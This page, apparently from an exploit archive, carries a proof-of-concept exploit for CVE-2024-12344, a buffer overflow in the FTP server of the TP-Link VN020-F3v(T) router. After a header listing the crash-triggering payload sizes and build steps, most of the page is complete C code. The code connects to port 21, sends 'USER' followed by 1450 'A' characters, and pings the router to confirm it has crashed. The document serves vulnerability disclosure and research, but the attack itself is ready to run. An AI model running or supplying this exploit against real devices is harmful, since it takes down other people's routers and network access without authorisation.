扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 |
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption * Date: 11/24/2024 * Exploit Author: Mohamed Maatallah * Vendor Homepage: https://www.tp-link.com * Version: TT_V6.2.1021 (VN020-F3v(T)) * Tested on: VN020-F3v(T) Router (Hardware Version 1.0) * CVE: CVE-2024-12344 * Category: Remote * Description: * A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation: * 1. 1100 bytes - Delayed crash (5-10 seconds) * 2. 1450 bytes - Immediate crash * 3. >1450 bytes - Undefined behavior/state corruption * Proof of Concept: (attached full c file) * Compilation Instructions (Visual Studio): * --------------------------------------- * 1. Open Visual Studio * 2. Create a new C Console Application * 3. Add these additional dependencies to project settings: *- ws2_32.lib *- iphlpapi.lib * 4. Ensure Windows SDK is installed * 5. Set Platform Toolset to latest v143 or v142 * 6. Compile in Release or Debug mode * * Disclaimer: * ---------- * This proof of concept is for educational and research purposes only. * Unauthorized testing without explicit permission is unethical and illegal. */ #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdint.h> #include <windows.h> #include <iphlpapi.h> #include <icmpapi.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib") // Target configuration - MODIFY BEFORE TESTING #define DEST_IP "192.168.1.1" // IP of target FTP server #define DEST_PORT 21 // Standard FTP port #define PING_TIMEOUT_MS 1000 // Network timeout #define MAX_PING_RETRIES 5 // Connectivity check attempts // 1450: Instant // 1100: Delayed #define CRASH_STRING_LENGTH 1450 // Exact number of 'A's triggering instantcrash #define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2)// USER + As + \r\n typedef struct { HANDLE icmp_handle; IPAddr target_addr; LPVOID reply_buffer; DWORD reply_size; } ping_context_t; void log_msg(const char* prefix, const char* msg) { SYSTEMTIME st; GetLocalTime(&st); printf("[%02d:%02d:%02d] %s %s\n", st.wHour, st.wMinute, st.wSecond, prefix, msg); } void hexdump(const char* desc, const void* addr, const int len) { int i; unsigned char buff[17]; const unsigned char* pc = (const unsigned char*)addr; if (desc != NULL) printf("%s:\n", desc); for (i = 0; i < len; i++) { if ((i % 16) == 0) { if (i != 0) printf("%s\n", buff); printf("%04x ", i); } printf(" %02x", pc[i]); if ((pc[i] < 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.'; else buff[i % 16] = pc[i]; buff[(i % 16) + 1] = '\0'; } while ((i % 16) != 0) { printf(" "); i++; } printf("%s\n", buff); } BOOL check_connectivity(ping_context_t* ctx) { char send_buf[32] = { 0 }; return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf), NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0; } char* generate_exact_crash_payload() { char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1);// +1 for null terminator if (!payload) { log_msg("[-]", "Failed to allocate payload memory"); return NULL; } // Construct the exact payload that causes crash strcpy(payload, "USER ");// 5 bytes memset(payload + 5, 'A', CRASH_STRING_LENGTH);// 1450 'A's memcpy(payload + 5 + CRASH_STRING_LENGTH, "\r\n", 2); // 2 bytes payload[TOTAL_PAYLOAD_LENGTH] = '\0'; char debug_msg[100]; snprintf(debug_msg, sizeof(debug_msg), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)", TOTAL_PAYLOAD_LENGTH); log_msg("[*]", debug_msg); return payload; } BOOL send_crash_payload(const char* target_ip, uint16_t target_port) { WSADATA wsa; SOCKET sock = INVALID_SOCKET; struct sockaddr_in server; char server_reply[2048]; int recv_size; ping_context_t ping_ctx = { 0 }; BOOL success = FALSE; // Initialize Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { log_msg("[-]", "Winsock initialization failed"); return FALSE; } // Setup ICMP for connectivity monitoring ping_ctx.icmp_handle = IcmpCreateFile(); ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32; ping_ctx.reply_buffer = malloc(ping_ctx.reply_size); inet_pton(AF_INET, target_ip, &ping_ctx.target_addr); // Create socket sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == INVALID_SOCKET) { log_msg("[-]", "Socket creation failed"); goto cleanup; } // Setup server address server.sin_family = AF_INET; server.sin_port = htons(target_port); inet_pton(AF_INET, target_ip, &server.sin_addr); // Connect to FTP server log_msg("[*]", "Connecting to target FTP server..."); if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) { log_msg("[-]", "Connection failed"); goto cleanup; } log_msg("[+]", "Connected successfully"); // Verify initial connectivity if (!check_connectivity(&ping_ctx)) { log_msg("[-]", "No initial connectivity to target"); goto cleanup; } // Receive banner if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) { log_msg("[-]", "Failed to receive banner"); goto cleanup; } server_reply[recv_size] = '\0'; log_msg("[*]", server_reply); // Generate and send the exact crash payload char* payload = generate_exact_crash_payload(); if (!payload) { goto cleanup; } log_msg("[*]", "Sending crash payload..."); hexdump("Payload hex dump (first 32 bytes)", payload, 32); if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) { log_msg("[-]", "Failed to send payload"); free(payload); goto cleanup; } free(payload); log_msg("[+]", "Payload sent successfully"); // Monitor for crash log_msg("[*]", "Monitoring target status..."); Sleep(1000);// Wait a bit for crash to take effect int failed_pings = 0; for (int i = 0; i < MAX_PING_RETRIES; i++) { if (!check_connectivity(&ping_ctx)) { failed_pings++; if (failed_pings >= 3) { log_msg("[+]", "Target crash confirmed!"); success = TRUE; goto cleanup; } } Sleep(500); } log_msg("[-]", "Target appears to still be responsive"); cleanup: if (sock != INVALID_SOCKET) { closesocket(sock); } if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) { IcmpCloseHandle(ping_ctx.icmp_handle); } if (ping_ctx.reply_buffer) { free(ping_ctx.reply_buffer); } WSACleanup(); return success; } int main(void) { printf("\nTP-Link VN020 FTP Memory Corruption PoC\n"); printf("---------------------------------------\n"); printf("Target: %s:%d\n", DEST_IP, DEST_PORT); if (send_crash_payload(DEST_IP, DEST_PORT)) { printf("\nExploit successful - target crashed\n"); } else { printf("\nExploit failed - target may be patched\n"); } return 0; } |
体验盒子
